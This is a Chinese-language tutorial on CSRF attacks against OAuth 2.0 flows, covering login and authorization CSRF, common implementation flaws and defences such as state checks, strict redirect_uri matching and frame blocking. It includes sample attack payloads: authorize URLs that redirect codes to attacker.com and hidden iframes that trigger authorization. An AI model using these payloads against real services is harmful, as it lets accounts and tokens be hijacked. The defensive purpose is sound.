# CSRF攻击

CSRF 攻击是指攻击者诱导已经登录某个网站的用户，在不知情的情况下执行非预期的操作。攻击者利用用户在目标网站上已建立的身份验证状态（如 Cookie、Session 等），通过构造恶意请求，使用户在后台完成转账、修改密码、发布信息等敏感操作。

## 1. 认证前的 CSRF 攻击（Login CSRF）

### 概念

OAuth 2.0 支持使用授权服务器（Authorization Server）进行身份验证，但攻击者可以利用 CSRF 攻击的方式让用户在不知情的情况下**登录到攻击者控制的账户**。这种攻击被称为 **Login CSRF（登录 CSRF）**，它主要利用 OAuth 2.0 认证流程中的 **Authorization Code Flow** 或 **Implicit Flow**，让用户在不知情的情况下被授权服务器自动登录到攻击者控制的账号。

### 攻击流程

1. **攻击者准备恶意链接**攻击者构造一个恶意 URL，指向 OAuth 2.0 提供者的授权端点，例如：

makefile  
  
  
复制编辑  
https://auth.example.com/oauth/authorize?  
response\_type=code&  
client\_id=attacker\_client&  
redirect\_uri=https://attacker.com/callback&  
state=random\_value

其中：

* 1. client\_id=attacker\_client 代表攻击者控制的 OAuth 账户。

* 1. redirect\_uri=https://attacker.com/callback 让用户的授权码被发送到攻击者控制的地址。

1. **用户访问恶意链接**攻击者诱导用户点击该 URL，例如通过邮件、钓鱼网站或论坛等方式。当用户点击该链接时，浏览器会自动向 OAuth 认证服务器发送身份验证请求。

1. **OAuth 认证服务器响应**

* 1. 如果用户已登录 OAuth 认证服务器，浏览器会自动携带用户的 Cookie 进行身份验证，并返回授权码（Authorization Code）。

* 1. 如果用户未登录，OAuth 服务器会要求用户登录，并在用户不知情的情况下将其身份信息绑定到攻击者的账户。

1. **用户不知情的情况下登录攻击者账户**由于浏览器自动提交了用户的身份认证信息，用户可能在访问目标网站（如 example.com）时，实际上已经登录了攻击者控制的 OAuth 账户。

### 后果

* 用户可能误以为自己仍然在使用自己的账户，而实际上已被绑定到攻击者账户，导致数据泄露。

* 攻击者可以利用该账户在受害者的应用环境中执行恶意操作，如访问私人信息或修改设置。

### 防御措施

* **CSRF 令牌（State 参数）**OAuth 2.0 规范推荐所有授权请求必须包含 state 参数，并在回调时进行校验，以防止 Login CSRF。

* **绑定 Session 与 OAuth 授权流程**服务器应检查 OAuth 授权返回的用户 ID 是否与用户当前的会话匹配，避免攻击者强行绑定错误账户。

### 相关文献

* Sun, S. T., Beznosov, K. (2012). *The devil is in the (implementation) details: An empirical analysis of OAuth SSO systems*. ACM CCS. [PDF]

* Chen, E. Y., Pei, Y., Kotcher, R., et al. (2014). *OAuth Demystified for Mobile Application Developers*. ACM CCS.

## 2. 认证后的 CSRF 攻击（Authorization CSRF）

### 概念

OAuth 2.0 允许用户授权第三方应用访问其资源，但攻击者可以利用 CSRF 攻击方式**劫持用户的授权流程**，让用户在不知情的情况下授权攻击者应用访问其账户。这种攻击被称为 **Authorization CSRF（授权 CSRF）**，通常出现在 **Implicit Flow 和 Authorization Code Flow** 过程中。

### 攻击流程

1. **攻击者构造恶意授权请求** 攻击者创建一个指向受害者 OAuth 认证服务器的授权请求：

makefile  
  
  
复制编辑  
https://auth.example.com/oauth/authorize?  
response\_type=code&  
client\_id=attacker\_app&  
redirect\_uri=https://attacker.com/callback&  
scope=read\_profile+read\_emails

其中：

* 1. client\_id=attacker\_app 表示攻击者的应用。

* 1. scope=read\_profile+read\_emails 试图获取用户的个人信息和电子邮件权限。

1. **用户访问攻击页面**

* 1. 攻击者诱导用户访问含有恶意 iframe、img 标签或自动提交表单的页面：

html  
  
  
复制编辑  
<iframe src="https://auth.example.com/oauth/authorize?response\_type=code&client\_id=attacker\_app&scope=read\_profile+read\_emails" width="0" height="0"></iframe>

* 1. 由于用户已经登录 OAuth 认证服务器，浏览器会自动携带身份认证 Cookie，向认证服务器提交授权请求。

1. **用户无意间授权攻击者应用**

* 1. 认证服务器发现用户的身份信息有效，直接返回授权码（Authorization Code）或访问令牌（Access Token）。

* 1. 攻击者应用接收授权码后，使用它交换访问令牌，从而访问用户的受保护资源（如个人资料、电子邮件等）。

1. **攻击者访问用户数据**

* 1. 攻击者可以使用获取到的访问令牌调用 API，读取用户信息，甚至执行某些敏感操作，如发布消息、访问联系人列表等。

### 后果

* 用户可能无意间授权了攻击者的应用，导致个人数据泄露。

* 攻击者可以利用受害者的账户执行敏感操作，如发起交易、发送消息、篡改资料等。

### 防御措施

* **使用 CSRF Token（State 参数）**OAuth 2.0 规范要求在授权请求中使用 state 参数，并在回调时校验，确保请求来源的合法性。

* **限制授权范围（Scope）**服务器应严格控制第三方应用可请求的权限，避免默认授予过多权限。

* **用户确认授权页面**要求用户在授权前手动确认授权应用，以防止后台自动提交表单的攻击方式。

### 相关文献

* Felt, A. P., Greenwood, K., & Wagner, D. (2011). *The effectiveness of application permissions*. USENIX Security.

* Wang, R., Chen, S., Wang, X. (2012). *Signing Me onto Your Accounts through Facebook and Google: A Traffic-Guided Security Study of Commercially Deployed Single-Sign-On Web Services*. IEEE S&P.

## 总结

|  |  |  |
| --- | --- | --- |
| **攻击类型** | **Login CSRF（认证前）** | **Authorization CSRF（认证后）** |
| **攻击目标** | 强制用户登录攻击者账户，使用户会话混淆 | 强制用户授权攻击者应用，获取敏感数据 |
| **攻击方式** | 伪造 OAuth 登录请求，诱导用户点击 | 伪造 OAuth 授权请求，利用浏览器自动提交 |
| **影响** | 用户登录错误账户，可能导致身份混淆或数据泄露 | 用户无意间授权攻击者访问私人数据 |
| **防御措施** | state  参数校验、绑定 Session、避免自动登录 | state  参数校验、Scope 限制、用户手动确认 |

通过正确实施 CSRF 防御机制，尤其是 state 参数和授权范围控制，可以有效降低 OAuth 2.0 认证流程中的安全风险。

## 具体实现中 CSRF 仍然存在的原因

尽管 OAuth 2.0 规范已经针对 **CSRF（跨站请求伪造）** 提供了一系列防御措施，如 state 参数、严格的 redirect\_uri 验证、用户确认页面等，但在 **实际实现** 中，仍然存在 CSRF 漏洞的情况。这主要归因于以下几个问题：

### （1）开发人员未正确实现 state 参数

#### 问题

* OAuth 2.0 规范推荐使用 state 作为 CSRF 保护机制，但开发人员可能：

* 1. **未使用 state 参数**（完全忽略 CSRF 保护）。

* 1. **未正确验证 state**（服务器没有检查返回的 state 是否匹配请求时的 state）。

* 1. **使用固定 state 值**，导致攻击者可以预测和复用 state 值。

#### 示例

OAuth 认证请求：

perl  
  
  
复制编辑  
https://auth.example.com/oauth/authorize?  
 response\_type=code&  
 client\_id=my\_app&  
 redirect\_uri=https://myapp.com/callback&  
 state=12345 # 固定的 state

* 如果 state=12345 在服务器端未进行严格校验，则攻击者可以伪造相同的 state，使受害者在授权后重定向到恶意 redirect\_uri。

#### 防御措施

* 服务器应：

* 1. **随机生成 state**（不可预测）。

* 1. **在 OAuth 认证前存储 state**（如存入 Session 或数据库）。

* 1. **在回调时验证 state 是否匹配**（拒绝不匹配的请求）。

### （2）未正确验证 redirect\_uri

#### 问题

* OAuth 认证服务器应该严格匹配 **预注册的 redirect\_uri**，但某些实现可能：

* 1. **允许 redirect\_uri 只匹配部分路径**（攻击者可以利用子路径）。

* 1. **使用通配符匹配**（如 redirect\_uri=https://example.com/\*，攻击者可以将授权码重定向到 https://example.com/evil）。

* 1. **未校验 redirect\_uri 是否属于合法应用**（攻击者可以注册与受害者相似的 redirect\_uri）。

#### 示例

如果 OAuth 服务器接受 redirect\_uri=https://example.com/\*，攻击者可以利用 https://example.com/attacker 来劫持授权码。

#### 防御措施

* 服务器应：

* 1. **要求 redirect\_uri 完全匹配**（不允许通配符匹配）。

* 1. **在应用注册时严格验证 redirect\_uri**，不允许任意 redirect\_uri。

* 1. **拒绝未注册的 redirect\_uri**，避免攻击者篡改。

### （3）浏览器自动发送 Cookie，导致 CSRF 依然有效

#### 问题

* 即使 state 参数正确实现，某些 OAuth 服务器仍然依赖 **浏览器的 Cookie 进行身份验证**，但浏览器在跨站请求中会自动发送 Cookie。

* 如果 OAuth 服务器不检查 **Referer / Origin**，攻击者可以通过 CSRF 方式触发授权流程。

#### 示例

攻击者构造一个 <iframe>：

html  
  
  
复制编辑  
<iframe src="https://auth.example.com/oauth/authorize?response\_type=code&client\_id=attacker&redirect\_uri=https://attacker.com/callback"></iframe>

* 如果 OAuth 服务器未校验 state，且用户已登录 OAuth 服务器，则会自动完成授权。

#### 防御措施

* **检查 Referer 或 Origin 头**，确保请求来源合法。

* **强制要求用户手动交互**（如 OAuth 授权页面必须有用户确认按钮）。

* **使用 SameSite Cookie**，避免浏览器自动发送 Cookie。

### （4）授权页面的 Clickjacking（点击劫持）

#### 问题

* OAuth 认证页面可能被嵌套在恶意网站的 iframe 中，用户在不知情的情况下点击了授权按钮。

#### 示例

html  
  
  
复制编辑  
<iframe src="https://auth.example.com/oauth/authorize?response\_type=code&client\_id=attacker&redirect\_uri=https://attacker.com/callback" width="0" height="0"></iframe>

* 如果 OAuth 服务器没有防御 Clickjacking，用户可能无意间点击“同意授权”。

#### 防御措施

* 在授权页面设置 X-Frame-Options: DENY，防止页面被嵌入 iframe。

* 使用 Content Security Policy（CSP） 规则限制嵌套行为。

## OAuth相关标准

OAuth 2.0 Threat Model and Security Considerations

<https://www.rfc-editor.org/rfc/rfc6819>

The OAuth 2.0 Authorization Framework

<https://www.rfc-editor.org/rfc/rfc6749>

The OAuth 2.0 Authorization Framework: Bearer Token Usage

<https://www.rfc-editor.org/rfc/rfc6750>

OAuth 2.0 Security Best Current Practice

<https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics>

<https://www.rfc-editor.org/rfc/rfc9700>

OAuth 2.0 Token Introspection

<https://datatracker.ietf.org/doc/html/rfc7662>

OAuth 2.0客户端身份验证和授权授予的断言框架

<https://www.rfc-editor.org/rfc/rfc7521>

Security Assertion Markup Language (SAML) 2.0 Profile for OAuth 2.0 Client Authentication and Authorization Grants

<https://www.rfc-editor.org/rfc/rfc7522>

JSON Web Token (JWT) Profile for OAuth 2.0 Client Authentication and Authorization Grants

<https://www.rfc-editor.org/rfc/rfc7523>